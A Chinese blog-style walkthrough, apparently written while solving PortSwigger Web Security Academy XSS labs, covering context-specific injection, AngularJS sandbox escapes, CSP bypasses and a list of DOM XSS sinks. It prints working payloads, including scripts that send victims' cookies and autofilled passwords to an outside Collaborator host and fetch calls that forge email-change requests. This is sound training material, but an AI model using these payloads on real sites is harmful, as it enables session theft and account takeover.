  • 解析完成后,页面中不会创建任何<img>标签,只会显示一段普通文本 <img src=1 onerror=alert()> ;这段文本只是视觉上的字符,不会被浏览器当作标签或 JS 代码执行,攻击被阻断。

当 XSS 上下文是引用标签属性内的一些现有 JavaScript(例如事件处理程序)时,可以利用 HTML 编码来绕过一些输入过滤器。 由于浏览器会 HTML 解码 onclick属性,在 JavaScript 被解释之前,实体被解码为引号,成为字符串分隔符,因此攻击成功。所以当我们注入 &apos;(单引号的HTML编码)的时候,在 HTML 解析完毕之后被还原成了字符串的 ,而 JS 执行阶段会把单引号当作字符串语法,反而助力攻击。

我们可以本地实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<button id="setBtn">设置</button>
<div id="d" onclick="">点击测试</div>
<script>
// 获取元素
const setButton = document.getElementById('setBtn');
const targetDiv = document.getElementById('d');

// 给按钮绑定点击事件
setButton.addEventListener('click', function() {
// 获取输入的网址
const inputValue = " '-alert(1)-' "
const code = "var tracker={track(){}};tracker.track('" + inputValue + "');"

targetDiv.setAttribute("onclick", code)
});
</script>

可以看到字符串单引号确实会闭合代码里的单引号

image-20250923223507276

所以XSS 防御的核心是 “针对攻击依赖的上下文选择正确的编码 / 转义方式”,HTML 上下文JS上下文 执行环境是不一样的。

1
2
3
4
payload:
http://1.com&apos;);alert(1);//
执行语句为:
onclick="var tracker={track(){}};tracker.track('http://1.com');alert(1);//');"
1
2
3
4
payload:
http://foo?'-alert(1)-'
执行语句为:
onclick="var tracker={track(){}};tracker.track('http://foo?'-alert(1)-'');"

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

简单搜索一下

1
var message = `0 search results for 'she11f'`;

原来是模版字符串

模板字面量是用反引号(```)分隔的字面量,允许多行字符串、带嵌入表达式的字符串插值和一种叫带标签的模板的特殊结构。

我们可以利用这个性质插入表达式

模板字面量还可以包含占位符——一种由美元符号和大括号分隔的嵌入式表达式:${expression}。字符串和占位符被传递给一个函数(要么是默认函数,要么是自定义函数)

说明可以在 ``` 内部插入 ${},${} 里面可以塞 JS 代码,会自动执行

paylaod

1
${alert()}

Lab: Exploiting cross-site scripting to steal cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.

用户会不断访问评论区,我们要窃取cookie的话,BP开一个DNS服务器,然后评论区发送cookie上去就行了。

1
<script>location="http://i6pm28xcfy8i31gr9nuau0ahj8pzdq1f.oastify.com?cookie="+document.cookie</script>

当然这是最常规的方法,特别讲一下还有一种方法就是利用 XSS 执行 CSRF 攻击,我们让用户自己把 cookie 发在评论区,当然这种方法不太隐蔽,因为它会公开 Cookie,还会泄露攻击的证据。CSRF 令牌对 XSS 无效,因为 XSS 允许攻击者直接从响应中读取令牌值。

我们先抓个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /post/comment HTTP/1.1
Host: 0add00fe0453e512818be801005d0073.web-security-academy.net
Cookie: session=6ul2YIs0HUuS8hgAMAsMW4AYFJjmRb2X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: https://0add00fe0453e512818be801005d0073.web-security-academy.net
Referer: https://0add00fe0453e512818be801005d0073.web-security-academy.net/post?postId=6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

csrf=EUV55Kf9RW9OiO5slKFwg4ZSiqi3etzM&postId=6&comment=she11f&name=she11f&email=she11f%40163.com&website=

其他参数见名就知道意思了,就是这个csrf参数,根据修改应该是一种令牌,用户登陆就分配一个,如果发评论的 csrf 不匹配的话就无法发布评论,我们可以在前端找到这个值

1
<input required="" type="hidden" name="csrf" value="EUV55Kf9RW9OiO5slKFwg4ZSiqi3etzM">

因为这个站点有 XSS 漏洞,所以我们可以直接 js 获取这个 input 元素里的 csrf 值然后来让受害者自动发评论

1
document.getElementsByName("csrf")[0].value

现在就是用 js 让用户发评论了

1
2
3
4
fetch('https://0add00fe0453e512818be801005d0073.web-security-academy.net/post/comment', {
method: 'POST',
body: 'csrf='+document.getElementsByName("csrf")[0].value+'&postId=6&comment='+document.cookie+'&name=she11f&email=she11f@163.com&website='
})

因为还是要在前端执行,最后还记得加上 <script> 标签。

可是报错了

1
Uncaught TypeError: can't access property "value", document.getElementsByName(...)[0] is undefined

为什么会未定义呢,明明控制台能打印,虽然我们说过网页先 HTML 解析 → 后 JavaScript 解析,但是HTML 从上到下顺序解析,遇到 <script> 时会暂停 HTML 解析,优先执行 JavaScript 代码,执行完后再继续解析后续 HTML,我们这段插入的js代码,在input标签之上自然就先解析也就找不到调用的变量了。

1
2
3
4
5
6
7
8
<script>
document.addEventListener('DOMContentLoaded', function() {
fetch('https://0add00fe0453e512818be801005d0073.web-security-academy.net/post/comment', {
method: 'POST',
body: 'csrf='+document.getElementsByName("csrf")[0].value+'&postId=6&comment='+document.cookie+'&name=she11f&email=she11f@163.com&website='
})
})
</script>

受害者成功评论自己的 cookie

image-20250924211143751

Lab: Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.

这个实验让我们利用 XSS 钓鱼来获取用户的密码,会模拟受害者自动填充账号密码。所以我们可以在评论区放两个input输入框

1
2
<input name=username id=username>
<input type=password name=password>

当点击 input 的时候,浏览器根据 type 属性判断出这是账号和密码就会询问是否自动填充账号密码,这样就能触发浏览器自动询问填充账号密码了

1
2
<input required="" type="username" id=username>
<input required="" type="password" name="password">

再然后给密码框添加一个 onchange 事件,密码长度的值大于 0 就可以把填充的受害者账号密码发送给我们服务器(BP的DNS解析器记得点击自动轮询)

1
2
3
4
5
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://qoiukgfkx6qql9yzrvcic8sp1g77v4jt.oastify.com',{
method:'POST',
body:username.value+':'+this.value
});">

这题也可以继续利用 csrf 让用户把账号密码放在评论区(原理是一样的),当然平时还是不要这样干

Lab: Exploiting XSS to bypass CSRF defenses

​ This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.

​ You can log in to your own account using the following credentials: wiener:peter

可以直接从返回包里拿 csrf,这样就不用考虑 js 执行的时候评论区 input 里面 csrf 的值还没渲染的问题了

1
2
3
4
5
6
7
8
9
10
11
<script>
fetch('/my-account')
.then(r => r.text())
.then(html => {
const token = html.match(/name="csrf" value="(\w+)"/)[1];
fetch('/my-account/change-email', {
method: 'POST',
body: 'csrf='+token+'&email=she11f@163.com'
});
});
</script>

也可以跟前面评论区写cookie那题一样从 DOM 里面拿受害人的 csrf

1
2
3
4
5
6
7
8
<script>
document.addEventListener('DOMContentLoaded', function() {
fetch('https://0a1b00410498a3b5806c177c008d0099.web-security-academy.net/my-account/change-email', {
method: 'POST',
body: 'csrf='+document.getElementsByName("csrf")[0].value+'&email=she11f@163.com'
})
})
</script>

Lab: Reflected XSS with AngularJS sandbox escape without strings

​ This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

​ To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.

依旧搜索看源代码,关键代码

1
2
3
4
5
6
7
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'she11f';
$scope.value = $parse(key)($scope.query);
});</script>
<h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1>
  • $parse(key):解析字符串'search'为 Angular 表达式(即获取search属性);
  • 传入$scope.query作为上下文,执行解析后的表达式,相当于 $scope.query.search
  • 因此,$scope.value最终被赋值为'she11f'

parse(expressionString) 的本质就是:将字符串形式的 Angular 表达式,编译成一个可在指定上下文对象中执行的函数。所以我们利用 key 值来进行注入,$parse(key) 就类似于 ,那该怎么控制 key 呢?直接把 search 换掉显然不太行,我们再加一个参数试一试

1
?search=she11f&1=1

image-20250928002243865

程序员居然迭代了 key,那我们就能控制 key 的值了。

1
?search=she11f&1%2b1=1

成功解析了,但是 angularjs 沙盒给字符串和 alert 豆 ban 了。去速查表直接查

1
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

记得 url 编码一遍再发。原理的话看 ai 吧(哎)

Lab: Reflected XSS with AngularJS sandbox escape and CSP

​ This lab uses CSP and AngularJS.

​ To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts document.cookie.

原理:

https://portswigger.net/research/angularjs-csp-bypass-in-56-characters

payload

1
2
3
<script>
location="https://0a57006c0472b13d804803f500c90045.web-security-academy.net/?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(y=alert)(document.cookie)'>#x"
</script>

这里不用 autofocus 而用锚点来触发 ng-focus 是因为前者会超出字符限制。

Lab: Reflected XSS with event handlers and href attributes blocked

         This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor `href` attributes are blocked. 	

​ To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.

​ Note that you need to label your vector with the word “Click” in order to induce the simulated lab user to click your vector. For example:

Click me

爆破一下可用的标签,有 svg,a 和 animate ,但是所有事件以及 href: 貌似是被过滤了。

我们看一下 svganimate 怎么用的吧,官网给了个例子

1
2
3
4
5
6
7
8
9
<svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg">
<rect width="10" height="10">
<animate
attributeName="rx"
values="0;5;0"
dur="10s"
repeatCount="indefinite" />
</rect>
</svg>

看不懂,丢给ai解释一下

  1. 目标元素<rect>(矩形)

  2. 动画属性rx(矩形的圆角半径)

  3. 动画效果

    • values="0;5;0":圆角半径从 0 → 5 → 0 循环变化
    • dur="10s":完成一次循环需要10秒
    • repeatCount="indefinite":无限循环
  4. 视觉效果:矩形会在方形(直角)和圆角矩形之间平滑过渡,创建一个脉动的圆角效果。

也就是说 animate 里的 attributeNamevalues 元素,一起使用可以控制 rect 的 属性值,假如我们把 rect 换成 a

attributeName="rx" 换成 attributeName="href" , values="0;5;0" 换成 values="javascript:alert(1)" 试试

1
2
3
4
5
<svg>
<a>
<animate attributeName="href" values="javascript:alert(1)"/>
</a>
</svg>

可是点不到,加字也加载不出来,看下文档,原来 <svg> 内部要有字得用标签 <text>

1
2
3
4
5
6
<svg>
<a>
<animate attributeName="href" values="javascript:alert(1)"/>
<text x="100" y="100">Click me</text>
</a>
</svg>

x,y是声明文字坐标,这个不加的话也看不到字体

Lab: Reflected XSS in a JavaScript URL with some characters blocked

​ This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.

​ To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message.

进来发现一个可控点,可以进入 javascript 上下文环境

1
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ =&gt; window.location = '/')">Back to Blog</a>

其中 body 字段值来自于 url ,我们可控,直接看 payload

1
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

再看一下 html

1
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d5%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window+%27%27,{x%3a%27'}).finally(_ =&gt; window.location = '/')">Back to Blog</a>

url 解码看一下

1
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ =&gt; window.location = '/')">Back to Blog</a>

结合 payload ,5&'} 很容易理解,闭合 fetch 的第二个参数,x=x=>{throw/**/onerror=alert,1337} 变成了 fetch 的第三个参数,

toString=x,window+'' 是第四,五个参数,{x:' 用来闭合第六个参数。

参数三

这题背景是括号和空格被过滤了,先看片文章来理解 fetch 第三个参数,https://portswigger.net/research/xss-without-parentheses-and-semi-colons

文章给出了一个 payload,确实没用到空格

1
<script>throw onerror=alert,'some string',123,'haha'</script>

throw 就是抛出一个异常,比如

1
throw 123;

F12 可以看到控制台报错

1
Uncaught 123
1
2
3
4
5
6
throw 123,456;
//控制台报错 => Uncaught 456

let myvar = 1;
throw myvar+=1,myvar;
//控制台报错 => Uncaught 2

所以 throw 永远是抛出最后一个逗号后的数据(逗号操作符会返回最后一个表达式的值),而且可以执行 js 代码。

onerror=alert,将alert函数赋值给onerror,当throw执行时,会触发错误,由于onerror已经被设置为alert函数,所以会调用alert('haha')

继续看 x=x=>{throw/**/onerror=alert,1337},多行注释符号很明显是绕过空格过滤,这是一个箭头函数的写法,两个 x代表的意义和作用域不一样,一个是函数名,一个是传入函数的参数,我们可以写成

1
2
3
x = (x) => {
throw onerror=alert,1337;
}

但是还是得函数调用才能执行代码

1
2
3
4
x = (x) => {
throw onerror=alert,1337;
}
x();
参数四,参数五

,toString=x,window+'',,这里就很明显了,把前面定义的 x 函数给全局 toString,将window对象与空字符串相加这会触发隐式类型转换,调用window.toString()方法,但是 toString 已经被 x 函数覆盖了,于是就调用了 x 函数里的代码发生弹窗。

参数六

{x:' 闭合 '}

挺复杂的,还有一个问题就是为什么不直接 throw onerror=alert,1337,而是要再定义一个函数来调用,还得本地实验一下

1
2
3
4
5
fetch("http://47.xx.xx.xx/",{
method:'post',
body:'a=1'
},throw onerror=alert,1337
)

其实已经爆红,看看控制台给的错误

1
Uncaught SyntaxError: Unexpected token 'throw' (at index.html:9:5)

函数参数在传递前必须被计算成具体的值。,这是语句没有产生值,不能作为函数参数,但是 x=x=>{throw/**/onerror=alert,1337}是表达式,即使看起来没有返回值的表达式,在语言层面也会产生一个值,可以作为参数。

为什么 fetch 可以加那么多参数呢,其实也是 js 特性。

1
2
3
4
5
6
  const sum = function(a,b){
return a+b;
}
console.log(sum(1,2,3,4,5,6,c=1+1));

// 3

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

​ This lab using a strict CSP that blocks outgoing requests to external web sites.

​ To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to hacker@evil-user.net.

​ You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:

Click me

​ You can log in to your own account using the following credentials: wiener:peter

被这道题的官方解法搞蒙了,直到看到这篇文章 https://medium.com/@hackllego/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack-port-swigger-xss-lab-e8811c2e476d 比官方 WP 过程简单许多。

Lab: Reflected XSS protected by CSP, with CSP bypass

​ This lab uses CSP and contains a reflected XSS vulnerability.

​ To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the alert function.

Please note that the intended solution to this lab is only possible in Chrome.

注入

<s>123

成功解析了

<img src=1 onerror=alert(1)>

控制台报错,image-20251004202108839

有 csp 策略,看下返回包的Headers

1
content-security-policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

看到 report-uri 指令,会把用户输入的内容直接拼接到CSP策略里,但是CSP规定:同一个指令出现多次时,后面的不会覆盖前面的

Chrome引入了 script-src-elem 指令,它只控制<script>标签,不控制事件处理器。

最重要的是:这个新指令可以覆盖现有的script-src规则!

所以用 ; 结束前一个指令

1
token=; script-src-elem 'unsafe-inline'

因为**script-src-elem** 指令只能覆盖 script 上下文不控制事件处理器。,所以 onerror 事件肯定还是没法用了

1
2
?search=<script>alert(1)</script>&token=; script-src-elem 'unsafe-inline'
?search=<iframe src="javascript:alert(1)">&token=; script-src-elem 'unsafe-inline'

Summary

可能导致 DOM 型 XSS 的 sinks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

jquery 内置
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()